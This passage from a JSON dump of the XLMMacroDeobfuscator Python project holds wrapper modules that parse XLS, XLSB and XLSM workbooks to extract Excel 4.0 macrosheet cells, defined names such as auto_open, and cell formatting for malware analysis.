    "content": "from XLMMacroDeobfuscator.excel_wrapper import ExcelWrapper\nfrom XLMMacroDeobfuscator.boundsheet import Boundsheet\nfrom XLMMacroDeobfuscator.boundsheet import Cell\nfrom win32com.client import Dispatch\nimport pywintypes\nfrom enum import Enum\nimport os\nimport re\n\nclass XlCellType(Enum):\n    xlCellTypeFormulas = -4123\n    xlCellTypeConstants = 2\n\n\nclass XLSWrapper(ExcelWrapper):\n    XLEXCEL4MACROSHEET = 3\n\n    def __init__(self, xls_doc_path):\n        self._excel = Dispatch(\"Excel.Application\")\n        self.xls_workbook = self._excel.Workbooks.Open(xls_doc_path)\n        self.xls_workbook_name = os.path.basename(xls_doc_path)\n        self._macrosheets = None\n        self._defined_names = None\n        self.xl_international_flags = {}\n        self._international_flags = None\n\n    def get_xl_international_char(self, flag_name):\n        if flag_name not in self.xl_international_flags:\n            if self._international_flags is None:\n                self._international_flags = self._excel.Application.International\n            # flag value starts at 1, list index starts at 0\n            self.xl_international_flags[flag_name] = self._international_flags[flag_name.value - 1]\n\n        result = self.xl_international_flags[flag_name]\n        return result\n\n    def get_defined_names(self):\n        result = {}\n\n        name_objects = self.xls_workbook.Excel4MacroSheets.Application.Names\n\n        for name_obj in name_objects:\n            result[name_obj.NameLocal.lower()] = str(name_obj.RefersToLocal).strip('=')\n\n        return result\n\n    def get_defined_name(self, name, full_match=True):\n        result = []\n        name = name.lower()\n        if self._defined_names is None:\n            self._defined_names = self.get_defined_names()\n\n        if full_match:\n            if name in self._defined_names:\n                result = self._defined_names[name]\n        else:\n            for defined_name, cell_address in self._defined_names.items():\n                if defined_name.startswith(name):\n                    result.append((defined_name, cell_address))\n\n        return result\n\n    def load_cells(self, macrosheet, xls_sheet):\n        cells = {}\n        try:\n            self._excel.Application.ScreenUpdating = False\n            col_offset = xls_sheet.UsedRange.Column\n            row_offset = xls_sheet.UsedRange.Row\n            formulas = xls_sheet.UsedRange.Formula\n            if formulas is not None:\n                for row_no, row in enumerate(formulas):\n                    for col_no, col in enumerate(row):\n                        if col:\n                            cell = Cell()\n                            cell.sheet = macrosheet\n                            if len(col)>1 and col.startswith('='):\n                                cell.formula = col\n                            else:\n                                cell.value = col\n                            row_addr = row_offset + row_no\n                            col_addr = col_offset + col_no\n                            cell.row = row_addr\n                            cell.column = Cell.convert_to_column_name(col_addr)\n\n                            cells[(col_addr, row_addr)] = cell\n\n            self._excel.Application.ScreenUpdating = True\n\n        except pywintypes.com_error as error:\n            print('CELL(Formula): ' + str(error.args[2]))\n\n        try:\n            values= xls_sheet.UsedRange.Value\n            if values is not None:\n                for row_no, row in enumerate(values):\n                    for col_no, col in enumerate(row):\n                        if col:\n                            row_addr = row_offset + row_no\n                            col_addr = col_offset + col_no\n                            if (col_addr, row_addr) in cells:\n                                cell = cells[(col_addr, row_addr)]\n                                cell.value = col\n                            else:\n                                cell = Cell()\n                                cell.sheet = macrosheet\n                                cell.value = col\n                                cell.row = row_addr\n                                cell.column = Cell.convert_to_column_name(col_addr)\n                                cells[(col_addr, row_addr)] = cell\n        except pywintypes.com_error as error:\n            print('CELL(Constant): ' + str(error.args[2]))\n\n        for cell in cells:\n            macrosheet.add_cell(cells[cell])\n\n    def get_macrosheets(self):\n        if self._macrosheets is None:\n            self._macrosheets = {}\n            for sheet in self.xls_workbook.Excel4MacroSheets:\n                macrosheet = Boundsheet(sheet.name, 'Macrosheet')\n                self.load_cells(macrosheet, sheet)\n                self._macrosheets[sheet.name] = macrosheet\n\n        return self._macrosheets\n\n    def get_workbook_name(self):\n        return self.xls_workbook_name\n\n    def get_cell_info(self, sheet_name, col, row, type_ID):\n        sheet = self._excel.Excel4MacroSheets(sheet_name)\n        cell = col + row\n        data = None\n\n        if int(type_ID) == 2:\n            data = sheet.Range(col + row).Row\n            print(data)\n\n        elif int(type_ID) == 3:\n            data = sheet.Range(cell).Column\n            print(data)\n\n        elif int(type_ID) == 8:\n            data = sheet.Range(cell).HorizontalAlignment\n\n        elif int(type_ID) == 17:\n            data = sheet.Range(cell).Height\n\n        elif int(type_ID) == 19:\n            data = sheet.Range(cell).Font.Size\n\n        elif int(type_ID) == 20:\n            data = sheet.Range(cell).Font.Bold\n\n        elif int(type_ID) == 21:\n            data = sheet.Range(cell).Font.Italic\n\n        elif int(type_ID) == 23:\n            data = sheet.Range(cell).Font.Strikethrough\n\n        elif int(type_ID) == 24:\n            data = sheet.Range(cell).Font.ColorIndex\n\n        elif int(type_ID) == 50:\n            data = sheet.Range(cell).VerticalAlignment\n        else:\n            print(\"Unknown info_type (%d) at cell %s\" % (type_ID, cell))\n\n        return data, False, False\n\n\nif __name__ == '__main__':\n\n    path = r\"tmp\\xls\\edd554502033d78ac18e4bd917d023da2fd64843c823c1be8bc273f48a5f3f5f.xls\"\n\n    path = os.path.abspath(path)\n    excel_doc = XLSWrapper(path)\n    try:\n        macrosheets = excel_doc.get_macrosheets()\n\n        auto_open_labels = excel_doc.get_defined_name('auto_open', full_match=False)\n        for label in auto_open_labels:\n            print('auto_open: {}->{}'.format(label[0], label[1]))\n\n        for macrosheet_name in macrosheets:\n            print('SHEET: {}\\t{}'.format(macrosheets[macrosheet_name].name,\n                                         macrosheets[macrosheet_name].type))\n            for formula_loc, info in macrosheets[macrosheet_name].cells.items():\n                if info.formula is not None:\n                    print('{}\\t{}\\t{}'.format(formula_loc, info.formula, info.value))\n\n            for formula_loc, info in macrosheets[macrosheet_name].cells.items():\n                if info.formula is None:\n                    print('{}\\t{}\\t{}'.format(formula_loc, info.formula, info.value))\n    finally:\n        excel_doc._excel.Application.DisplayAlerts = False\n        excel_doc._excel.Application.Quit()\n"
  },
  {
    "path": "XLMMacroDeobfuscator/xls_wrapper_2.py",
    "content": "from XLMMacroDeobfuscator.excel_wrapper import ExcelWrapper, XlApplicationInternational\nfrom XLMMacroDeobfuscator.boundsheet import Boundsheet\nfrom XLMMacroDeobfuscator.boundsheet import Cell\nimport xlrd2\nimport os\nimport string\nimport re\nimport math\n\n\nclass XLSWrapper2(ExcelWrapper):\n    XLEXCEL4MACROSHEET = 3\n\n    def __init__(self, xls_doc_path, logfile=\"default\"):\n        # Not interested in logging\n        if logfile == \"default\":\n            self.xls_workbook = xlrd2.open_workbook(xls_doc_path, formatting_info=True)\n        else:\n            self.xls_workbook = xlrd2.open_workbook(xls_doc_path, formatting_info=True, logfile=logfile)\n        self.xls_workbook_name = os.path.basename(xls_doc_path)\n        self._macrosheets = None\n        self._worksheets = None\n        self._defined_names = None\n        self.xl_international_flags = {}\n        self.xl_international_flags = {XlApplicationInternational.xlLeftBracket: '[',\n                                       XlApplicationInternational.xlListSeparator: ',',\n                                       XlApplicationInternational.xlRightBracket: ']'}\n\n        control_chars = ''.join(map(chr, range(0, 32)))\n        control_chars += ''.join(map(chr, range(127, 160)))\n        control_chars += '\\ufefe\\uffff\\ufeff\\ufffe\\uffef\\ufff0\\ufff1\\ufff6\\ufefd\\udddd\\ufffd'\n        self._control_char_re = re.compile('[%s]' % re.escape(control_chars))\n\n    # from xlrd2\n    oBOOL = 3\n    oERR = 4\n    oMSNG = 5  # tMissArg\n    oNUM = 2\n    oREF = -1\n    oREL = -2\n    oSTRG = 1\n    oUNK = 0\n    oARR = 6\n\n    def get_xl_international_char(self, flag_name):\n        result = None\n        if flag_name in self.xl_international_flags:\n            result = self.xl_international_flags[flag_name]\n\n        return result\n\n    def replace_nonprintable_chars(self, input_str, replace_char=''):\n        input_str = input_str.encode(\"utf-16\").decode('utf-16', 'ignore')\n        return self._control_char_re.sub(replace_char, input_str)\n\n    def get_defined_names(self):\n        if self._defined_names is None:\n            self._defined_names = {}\n\n            name_objects = self.xls_workbook.name_map\n\n            for index, (name_obj, cells) in enumerate(name_objects.items()):\n                name = name_obj.lower()\n                if len(cells) > 1:\n                    index = 1\n                else:\n                    index = 0\n\n                # filtered_name = self.replace_nonprintable_chars(name, replace_char='_').lower()\n                filtered_name = name.lower()\n                if name != filtered_name:\n                    if filtered_name in self._defined_names:\n                        filtered_name = filtered_name + str(index)\n                    if cells[0].result is not None:\n                        self._defined_names[filtered_name] = cells[0].result.text\n\n                if name in self._defined_names:\n                    name = name + str(index)\n                if cells[0].result is not None:\n                    cell_location = cells[0].result.text\n                    if cells[0].result.kind == XLSWrapper2.oNUM:\n                        self._defined_names[name] = cells[0].result.value\n                    elif cells[0].result.kind == XLSWrapper2.oSTRG:\n                        self._defined_names[name] = cells[0].result.text\n                    elif cells[0].result.kind == XLSWrapper2.oARR:\n                        self._defined_names[name] = cells[0].result.value\n                    elif cells[0].result.kind == XLSWrapper2.oREF:\n                        if '$' in cell_location:\n                            self._defined_names[name] = cells[0].result.text\n                        else:\n                            # By @JohnLaTwC:\n                            # handled mangled cell name as in:\n                            # 8a868633be770dc26525884288c34ba0621170af62f0e18c19b25a17db36726a\n                            # defined name auto_open found at Operand(kind=oREF, value=[Ref3D(coords=(1, 2, 321, 322, 14, 15))], text='sgd7t!\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\n\n                            curr_cell = cells[0].result\n                            if ('auto_open' in name):\n                                coords = curr_cell.value[0].coords\n                                r = int(coords[3])\n                                c = int(coords[5])\n                                sheet_name = curr_cell.text.split('!')[0].replace(\"'\", '')\n                                cell_location_xlref = sheet_name + '!' + self.xlref(row=r, column=c, zero_indexed=False)\n                                self._defined_names[name] = cell_location_xlref\n\n        return self._defined_names\n\n    def xlref(self, row, column, zero_indexed=True):\n\n        if zero_indexed:\n            row += 1\n            column += 1\n        return '$' + Cell.convert_to_column_name(column) + '$' + str(row)\n\n    def get_defined_name(self, name, full_match=True):\n        result = []\n        name = name.lower().replace('[', '')\n\n        if full_match:\n            if name in self.get_defined_names():\n                result = self._defined_names[name]\n        else:\n            for defined_name, cell_address in self.get_defined_names().items():\n                if defined_name.startswith(name):\n                    result.append((defined_name, cell_address))\n\n        # By @JohnLaTwC:\n        # if no matches, try matching 'name' by looking for its characters\n        # in the same order (ignoring junk chars from UTF16 etc in between. Eg:\n        # Auto_open:\n        #   match:    'a_u_t_o___o__p____e_n'\n        #   not match:'o_p_e_n_a_u_to__'\n        # Reference: https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/\n        # Sample: e23f9f55e10f3f31a2e76a12b174b6741a2fa1f51cf23dbd69cf169d92c56ed5\n        if isinstance(result, list) and len(result) == 0:\n            for defined_name, cell_address in self.get_defined_names().items():\n                lastidx = 0\n                fMatch = True\n                for c in name:\n                    idx = defined_name.find(c, lastidx)\n                    if idx == -1:\n                        fMatch = False\n                    lastidx = idx\n                if fMatch:\n                    result.append((defined_name, cell_address))\n                ##print(\"fMatch for %s in %s is %d:\" % (name,defined_name, fMatch))\n\n        return result\n\n    def load_cells(self, macrosheet, xls_sheet):\n        try:\n            for xls_cell in xls_sheet.get_used_cells():\n                cell = Cell()\n                cell.sheet = macrosheet\n                if xls_cell.formula is not None and len(xls_cell.formula) > 0:\n                    cell.formula = '=' + xls_cell.formula\n                cell.value = xls_cell.value\n                cell.row = xls_cell.row + 1\n                cell.column = Cell.convert_to_column_name(xls_cell.column + 1)\n                if cell.value is not None or cell.formula is not None:\n                    macrosheet.add_cell(cell)\n\n        except Exception as error:\n            print('CELL(Formula): ' + str(error.args[2]))\n\n    def get_macrosheets(self):\n        if self._macrosheets is None:\n            self._macrosheets = {}\n            for sheet in self.xls_workbook.sheets():\n                if sheet.boundsheet_type == xlrd2.biffh.XL_MACROSHEET:\n                    macrosheet = Boundsheet(sheet.name, 'Macrosheet')\n                    self.load_cells(macrosheet, sheet)\n                    self._macrosheets[sheet.name] = macrosheet\n\n        return self._macrosheets\n\n    def get_workbook_name(self):\n        return self.xls_workbook_name\n\n    def get_worksheets(self):\n        if self._worksheets is None:\n            self._worksheets = {}\n            for sheet in self.xls_workbook.sheets():\n                if sheet.boundsheet_type == xlrd2.biffh.XL_WORKSHEET:\n                    worksheet = Boundsheet(sheet.name, 'Worksheet')\n                    self.load_cells(worksheet, sheet)\n                    self._worksheets[sheet.name] = worksheet\n\n        return self._worksheets\n\n    def get_color(self, color_index):\n        return self.xls_workbook.colour_map.get(color_index)\n\n    def get_cell_info(self, sheet_name, col, row, info_type_id):\n        sheet = self.xls_workbook.sheet_by_name(sheet_name)\n        row = int(row) - 1\n        column = Cell.convert_to_column_index(col) - 1\n        info_type_id = int(float(info_type_id))\n\n        data = None\n        not_exist = False\n        not_implemented = False\n\n        if info_type_id == 5:\n            data = sheet.cell(row, column).value\n\n        elif info_type_id == 17:\n            not_exist = False\n            if row in sheet.rowinfo_map:\n                data = sheet.rowinfo_map[row].height\n            else:\n                data = sheet.default_row_height\n            data = Cell.convert_twip_to_point(data)\n            data = round(float(data) * 4) / 4\n        else:\n            if (row, column) in sheet.used_cells:\n                cell = sheet.cell(row, column)\n                if cell.xf_index is not None and cell.xf_index < len(self.xls_workbook.xf_list):\n                    fmt = self.xls_workbook.xf_list[cell.xf_index]\n                    font = self.xls_workbook.font_list[fmt.font_index]\n\n                else:\n                    normal_style = self.xls_workbook.style_name_map['Normal'][1]\n                    fmt = self.xls_workbook.xf_list[normal_style]\n                    font = self.xls_workbook.font_list[fmt.font_index]\n            else:\n                normal_style = self.xls_workbook.style_name_map['Normal'][1]\n                fmt = self.xls_workbook.xf_list[normal_style]\n                font = self.xls_workbook.font_list[fmt.font_index]\n\n            not_exist = False\n\n            if info_type_id == 8:\n                data = fmt.alignment.hor_align + 1\n\n            # elif info_type_id == 9:\n            #     data = fmt.border.left_line_style\n            #\n            # elif info_type_id == 10:\n            #     data = fmt.border.right_line_style\n            #\n            # elif info_type_id == 11:\n            #     data = fmt.border.top_line_style\n            #\n            # elif info_type_id == 12:\n            #     data = fmt.border.bottom_line_style\n            #\n            # elif info_type_id == 13:\n            #     data = fmt.border.fill_pattern\n            #\n            # elif info_type_id == 14:\n            #     data = fmt.protection.cell_locked\n            #\n            # elif info_type_id == 15:\n            #     data = fmt.protection.formula_hidden\n            #     return data\n            #\n            # elif info_type_id == 18:\n            #     data = font.name\n            #     return data\n\n            elif info_type_id == 19:\n                data = font.height\n                data = Cell.convert_twip_to_point(data)\n\n            # elif info_type_id == 20:\n            #     data = font.bold\n            #\n            # elif info_type_id == 21:\n            #     data = font.italic\n            #\n            # elif info_type_id == 22:\n            #     data = font.underlined\n            #\n            # elif info_type_id == 23:\n            #     data = font.struck_out\n\n            elif info_type_id == 24:\n                data = font.colour_index - 7 if font.colour_index > 7 else font.colour_index\n\n            # elif info_type_id == 25:\n            #     data = font.outline\n            #\n            # elif info_type_id == 26:\n            #     data = font.shadow\n\n            # elif info_type_id == 34:\n            #     # Left Color index\n            #     data = fmt.border.left_colour_index\n            #\n            # elif info_type_id == 35:\n            #     # Right Color index\n            #     data = fmt.border.right_colour_index\n            #\n            # elif info_type_id == 36:\n            #     # Top Color index\n            #     data = fmt.border.top_colour_index\n            #\n            # elif info_type_id == 37:\n            #     # Bottom Color index\n            #     data = fmt.border.bottom_colour_index\n\n            elif info_type_id == 38:\n                data = fmt.background.pattern_colour_index - 7 if font.colour_index > 7 else font.colour_index\n\n            elif info_type_id == 50:\n                data = fmt.alignment.vert_align + 1\n\n            # elif info_type_id == 51:\n            #     data = fmt.alignment.rotation\n            else:\n                not_implemented = True\n\n        return data, not_exist, not_implemented\n\n\nif __name__ == '__main__':\n\n    path = r\"C:\\Users\\dan\\PycharmProjects\\XLMMacroDeobfuscator\\tmp\\xls\\Doc55752.xls\"\n\n    path = os.path.abspath(path)\n    excel_doc = XLSWrapper2(path)\n\n    macrosheets = excel_doc.get_macrosheets()\n\n    auto_open_labels = excel_doc.get_defined_name('auto_open', full_match=False)\n    for label in auto_open_labels:\n        print('auto_open: {}->{}'.format(label[0], label[1]))\n\n    for macrosheet_name in macrosheets:\n        print('SHEET: {}\\t{}'.format(macrosheets[macrosheet_name].name,\n                                     macrosheets[macrosheet_name].type))\n        for formula_loc, info in macrosheets[macrosheet_name].cells.items():\n            if info.formula is not None:\n                print('{}\\t{}\\t{}'.format(formula_loc, info.formula, info.value))\n\n        for formula_loc, info in macrosheets[macrosheet_name].cells.items():\n            if info.formula is None:\n                print('{}\\t{}\\t{}'.format(formula_loc, info.formula, info.value))\n"
  },
  {
    "path": "XLMMacroDeobfuscator/xlsb_wrapper.py",
    "content": "from XLMMacroDeobfuscator.excel_wrapper import ExcelWrapper\nfrom XLMMacroDeobfuscator.excel_wrapper import XlApplicationInternational\nfrom pyxlsb2 import open_workbook\nfrom pyxlsb2.formula import Formula\nimport os\nfrom XLMMacroDeobfuscator.boundsheet import *\n\n\nclass XLSBWrapper(ExcelWrapper):\n    def __init__(self, xlsb_doc_path):\n        self._xlsb_workbook = open_workbook(xlsb_doc_path)\n        self.xlsb_workbook_name = os.path.basename(xlsb_doc_path)\n        self._macrosheets = None\n        self._worksheets = None\n        self._defined_names = None\n        self.xl_international_flags = {XlApplicationInternational.xlLeftBracket: '[',\n                                       XlApplicationInternational.xlListSeparator: ',',\n                                       XlApplicationInternational.xlRightBracket: ']'}\n\n    def get_workbook_name(self):\n        return self.xlsm_workbook_name\n\n    def get_xl_international_char(self, flag_name):\n        result = None\n        if flag_name in self.xl_international_flags:\n            result = self.xl_international_flags[flag_name]\n\n        return result\n\n    def get_defined_names(self):\n        if self._defined_names is None:\n            names = {}\n            for key, val in self._xlsb_workbook.defined_names.items():\n                names[key.lower()] = key.lower(), val.formula\n            self._defined_names = names\n        return self._defined_names\n\n    def get_defined_name(self, name, full_match=True):\n        result = []\n        if full_match:\n            if name.lower() in self.get_defined_names():\n                result.append(self.get_defined_names()[name.lower()])\n        else:\n            for defined_name, cell_address in self.get_defined_names().items():\n                if defined_name.startswith(name.lower()):\n                    result.append(cell_address)\n        return result\n\n    def load_cells(self, boundsheet, shared_table):\n        row_cnt = 0\n        with self._xlsb_workbook.get_sheet_by_name(boundsheet.name) as sheet:\n            for row in sheet:\n                if row_cnt > 1048576:\n                    break\n                row_cnt = row_cnt + 1\n                column_cnt = 0\n                for cell in row:\n                    if column_cnt > 16384:\n                        break\n                    tmp_cell = Cell()\n                    tmp_cell.row = cell.row_num + 1\n                    tmp_cell.column = Cell.convert_to_column_name(cell.col + 1)\n                    tmp_cell.value = cell.value\n                    tmp_cell.sheet = boundsheet\n                    formula_str = Formula.parse(cell.formula)\n                    if formula_str._tokens:\n                        try:\n                            tmp_cell.formula = '=' + formula_str.stringify(self._xlsb_workbook)\n                        except NotImplementedError as exp:\n                            print('ERROR({}) {}'.format(exp, str(cell)))\n                        except Exception:\n                            print('ERROR ' + str(cell))\n                    if tmp_cell.value is not None or tmp_cell.formula is not None:\n                        boundsheet.cells[tmp_cell.get_local_address()] = tmp_cell\n                    column_cnt = column_cnt + 1\n\n    def get_macrosheets(self):\n        if self._macrosheets is None:\n            self._macrosheets = {}\n            for xlsb_sheet in self._xlsb_workbook.sheets:\n                if xlsb_sheet.type == 'macrosheet':\n                    with self._xlsb_workbook.get_sheet_by_name(xlsb_sheet.name) as sheet:\n                        macrosheet = Boundsheet(xlsb_sheet.name, 'macrosheet')\n                        self.load_cells(macrosheet, self._xlsb_workbook.stringtable)\n                        self._macrosheets[macrosheet.name] = macrosheet\n\n                # self.load_macro_cells(macrosheet, workbook)\n                # self._macrosheets[workbook.name] = macrosheet\n\n        return self._macrosheets\n\n    def get_worksheets(self):\n        if self._worksheets is None:\n            self._worksheets = {}\n            for xlsb_sheet in self._xlsb_workbook.sheets:\n                if xlsb_sheet.type == 'worksheet':\n                    with self._xlsb_workbook.get_sheet_by_name(xlsb_sheet.name) as sheet:\n                        worksheet = Boundsheet(xlsb_sheet.name, 'worksheet')\n                        self.load_cells(worksheet, self._xlsb_workbook.stringtable)\n                        self._worksheets[worksheet.name] = worksheet\n\n        return self._worksheets\n\n    def get_cell_info(self, sheet_name, col, row, info_type_id):\n        data = None\n        not_exist = False\n        not_implemented = True\n\n        return data, not_exist, not_implemented\n\n\nif __name__ == '__main__':\n\n    # path = r\"tmp\\xlsb\\179ef8970e996201815025c1390c88e1ab2ea59733e1c38ec5dbed9326d7242a\"\n    path = r\"C:\\Users\\dan\\PycharmProjects\\xlm\\TMP\\Doc55752.xlsb\"\n\n    path = os.path.abspath(path)\n    excel_doc = XLSBWrapper(path)\n\n    macrosheets = excel_doc.get_macrosheets()\n\n    auto_open_labels = excel_doc.get_defined_name('auto_open', full_match=False)\n    for label in auto_open_labels:\n        print('auto_open: {}->{}'.format(label[0], label[1]))\n\n    for macrosheet_name in macrosheets:\n        print('SHEET: {}\\t{}'.format(macrosheets[macrosheet_name].name,\n                                     macrosheets[macrosheet_name].type))\n        for formula_loc, info in macrosheets[macrosheet_name].cells.items():\n            if info.formula is not None:\n                print('{}\\t{}\\t{}'.format(formula_loc, info.formula, info.value))\n\n        for formula_loc, info in macrosheets[macrosheet_name].cells.items():\n            if info.formula is None:\n                print('{}\\t{}\\t{}'.format(formula_loc, info.formula, info.value))\n"
  },
  {
    "path": "XLMMacroDeobfuscator/xlsm_wrapper.py",
    "content": "from XLMMacroDeobfuscator.excel_wrapper import XlApplicationInternational, RowAttribute\nfrom zipfile import ZipFile\nfrom glob import fnmatch\ntry:\n    from defusedxml import ElementTree\nexcept:\n    from xml.etree import ElementTree\n    print('XLMMacroDeobfuscator: defusedxml is not installed (required to securely parse XLSM files)')\nfrom XLMMacroDeobfuscator.excel_wrapper import ExcelWrapper\nfrom XLMMacroDeobfuscator.boundsheet import *\nimport untangle\nfrom io import StringIO\nimport os\n\n\nclass XLSMWrapper(ExcelWrapper):\n    def __init__(self, xlsm_doc_path):\n        self.xlsm_doc_path = xlsm_doc_path\n        self.xlsm_workbook_name = os.path.basename(xlsm_doc_path)\n        self._content_types = None\n        self._style = None\n        self._theme = None\n        self._types = None\n        self._workbook = None\n        self._workbook_rels = None\n        self._workbook_relationships = None\n        self._workbook_style = None\n        self._defined_names = None\n        self._macrosheets = None\n        self._worksheets = None\n        self._shared_strings = None\n        self.xl_international_flags = {XlApplicationInternational.xlLeftBracket: '[',\n                                       XlApplicationInternational.xlListSeparator: ',',\n                                       XlApplicationInternational.xlRightBracket: ']'}\n\n        self._types = self._get_types()\n        self.color_maps = None\n\n    def get_workbook_name(self):\n        return self.xlsm_workbook_name\n\n    def _get_types(self):\n        result = {}\n        if self._types is None:\n            main = self.get_content_types()\n            if hasattr(main, 'Types'):\n                if hasattr(main.Types, 'Override'):\n                    for i in main.Types.Override:\n                        result[i.get_attribute('ContentType')] = i.get_attribute('PartName')\n\n                if hasattr(main.Types, 'Default'):\n                    for i in main.Types.Default:\n                        result[i.get_attribute('ContentType')] = i.get_attribute('Extension')\n        else:\n            result = self._types\n\n        return result\n\n    def _get_relationships(self):\n        result = {}\n        if self._workbook_relationships is None:\n            main = self._get_workbook_rels()\n            if hasattr(main, 'Relationships'):\n                if hasattr(main.Relationships, 'Relationship'):\n                    for i in main.Relationships.Relationship:\n                        result[i.get_attribute('Id')] = i\n            self._workbook_relationships = result\n        else:\n            result = self._workbook_relationships\n\n        return result\n\n    def get_xl_international_char(self, flag_name):\n        result = None\n        if flag_name in self.xl_international_flags:\n            result = self.xl_international_flags[flag_name]\n\n        return result\n\n    def get_files(self, file_name_filters=None):\n        input_zip = ZipFile(self.xlsm_doc_path)\n        result = {}\n        if not file_name_filters:\n            file_name_filters = ['*']\n        for i in input_zip.namelist():\n            for filter in file_name_filters:\n                if i == filter or fnmatch.fnmatch(i, filter):\n                    result[i] = input_zip.read(i)\n        #Excel Crack is Wack... Excel converts \\x5c to \\x2f in zip file names and will happily eat it for you. Sample 51762ea84ac51f9e40b1902ebe22c306a732d77a5aa8f03650279d8b21271516\n        if not result:\n            for i in input_zip.namelist():\n                for filter in file_name_filters:            \n                    if i == filter.replace('\\x2f','\\x5c') or fnmatch.fnmatch(i, filter.replace('\\x2f','\\x5c')):\n                        result[i.replace('\\x5c','\\x2f')] = input_zip.read(i)\n        return result\n\n    def get_xml_file(self, file_name, ignore_pattern=None):\n        if file_name.startswith('/'):\n            file_name = file_name[1:]\n        result = None\n        file_name = file_name\n        files = self.get_files([file_name])\n        if len(files) == 1:\n            workbook_content = files[file_name].decode('utf_8')\n            if ignore_pattern:\n                workbook_content = re.sub(ignore_pattern, \"\", workbook_content)\n            result = untangle.parse(StringIO(workbook_content))\n        return result\n\n    def get_content_types(self):\n        if not self._content_types:\n            content_type = self.get_xml_file('[Content_Types].xml')\n            self._content_types = content_type\n        return self._content_types\n\n    def _get_workbook_path(self):\n        workbook_path = 'xl/workbook.xml'\n        if 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml' in self._types:\n            workbook_path = self._types[\n                'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml']\n        elif 'application/vnd.ms-excel.sheet.macroEnabled.main+xml' in self._types:\n            workbook_path = self._types['application/vnd.ms-excel.sheet.macroEnabled.main+xml']\n        workbook_path = workbook_path.lstrip('/')\n\n        path = ''\n        name = workbook_path\n\n        if '/' in workbook_path:\n            path = workbook_path[:workbook_path.index('/')]\n            name = workbook_path[workbook_path.index('/') + 1:]\n        return workbook_path, path, name\n\n    def get_workbook(self):\n        if not self._workbook:\n            workbook_path, _, _ = self._get_workbook_path()\n            workbook = self.get_xml_file(workbook_path)\n            self._workbook = workbook\n        return self._workbook\n\n    def get_style(self):\n        if not self._style:\n            types = self._get_types()\n            rel_type = \"application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml\"\n            if rel_type in types:\n                style = self.get_xml_file(types[rel_type])\n                self._style = style\n\n        return self._style\n\n    def get_theme(self):\n        if not self._theme:\n            types = self._get_types()\n            rel_type = \"application/vnd.openxmlformats-officedocument.theme+xml\"\n            if rel_type in types:\n                style = self.get_xml_file(types[rel_type])\n                self._theme = style\n\n        return self._theme\n\n    def get_workbook_style(self):\n        if not self._workbook_style:\n            style_type = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles'\n            relationships = self._get_relationships()\n            if style_type in relationships:\n                style_sheet_path = relationships[style_type]\n                _, base_dir, _ = self._get_workbook_path()\n                style_sheet = self.get_xml_file(base_dir+'/'+style_sheet_path)\n            self._workbook_style = style_sheet\n\n        return self._workbook_style\n\n    def _get_workbook_rels(self):\n        if not self._workbook_rels:\n\n            type = 'rels'\n            if 'application/vnd.openxmlformats-package.relationships+xml' in self._types:\n                type = self._types['application/vnd.openxmlformats-package.relationships+xml']\n\n            workbook_path, base_dir, name = self._get_workbook_path()\n\n            path = '{}/_{}/{}.{}'.format(base_dir, type, name, type)\n            workbook = self.get_xml_file(path)\n            self._workbook_rels = workbook\n        return self._workbook_rels\n\n    def get_sheet_info(self, rId):\n        sheet_type = None\n        sheet_path = None\n        nsmap = {'r': 'http://schemas.openxmlformats.org/package/2006/relationships'}\n        workbook_rels = self._get_workbook_rels()\n\n        relationships = self._get_relationships()\n\n        if rId in relationships:\n            sheet_path = relationships[rId].get_attribute('Target')\n            type = relationships[rId].get_attribute('Type')\n            if type == \"http://schemas.microsoft.com/office/2006/relationships/xlMacrosheet\" or \\\n                    type == 'http://schemas.microsoft.com/office/2006/relationships/xlIntlMacrosheet':\n                sheet_type = 'Macrosheet'\n            elif type == \"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\":\n                sheet_type = 'Worksheet'\n            else:\n                sheet_type = 'Unknown'\n\n        return sheet_type, sheet_path\n\n    def get_defined_names(self):\n        if self._defined_names is None:\n            workbook_obj = self.get_workbook()\n            self._defined_names = {}\n            if hasattr(workbook_obj, 'workbook') \\\n                    and hasattr(workbook_obj.workbook, 'definedNames')\\\n                    and hasattr(workbook_obj.workbook.definedNames, 'definedName'):\n                for defined_name in workbook_obj.workbook.definedNames.definedName:\n                    self._defined_names[defined_name.get_attribute(\n                        'name').replace('_xlnm.', '').lower()] = defined_name.cdata\n\n        return self._defined_names\n\n    def get_sheet_infos(self, types):\n        result = []\n        workbook_obj = self.get_workbook()\n        sheet_names = set()\n\n        _, base_dir, _ = self._get_workbook_path()\n        if hasattr(workbook_obj, 'workbook'):\n            for sheet_elm in workbook_obj.workbook.sheets.sheet:\n                rId = sheet_elm.get_attribute('r:id')\n                name = sheet_elm.get_attribute('name')\n                sheet_type, rel_path = self.get_sheet_info(rId)\n                if rel_path is not None:\n                    path = base_dir + '/' + rel_path\n                    if sheet_type in types and name not in sheet_names:\n                        sheet = Boundsheet(name, sheet_type)\n                        result.append({'sheet': sheet,\n                                       'sheet_path': path,\n                                       'sheet_xml': self.get_xml_file(path, ignore_pattern=\"<c[^>]+/>\")})\n                        sheet_names.add(name)\n                else:\n                    print(\"Sheet('{}') does not have a valid rId('{}')\".format(name, rId))\n\n        return result\n\n    def get_macrosheet_infos(self):\n        return self.get_sheet_infos(['Macrosheet'])\n\n    def get_worksheet_infos(self):\n        return self.get_sheet_infos(['Worksheet'])\n\n    def get_shared_strings(self):\n        if self._shared_strings is None:\n            _, base_dir, _ = self._get_workbook_path()\n            content = self.get_xml_file(base_dir + '/sharedStrings.xml')\n            if content is not None:\n                if hasattr(content, 'sst') and hasattr(content.sst, 'si'):\n                    for str in content.sst.si:\n                        if self._shared_strings is None:\n                            self._shared_strings = []\n                        if hasattr(str, 't'):\n                            self._shared_strings.append(str.t.cdata)\n                        elif hasattr(str, 'r') and len(str.r) > 0 and hasattr(str.r[0], 't'):\n                            self._shared_strings.append(str.r[0].t.cdata)\n\n        return self._shared_strings\n\n    def load_macro_cells(self, macrosheet, macrosheet_obj, macrosheet_names):\n        strings = self.get_shared_strings()\n\n        sheet = macrosheet_obj.xm_macrosheet if hasattr(macrosheet_obj, 'xm_macrosheet') else macrosheet_obj.worksheet\n        if not hasattr(sheet.sheetData, 'row'):\n            return\n        for row in sheet.sheetData.row:\n          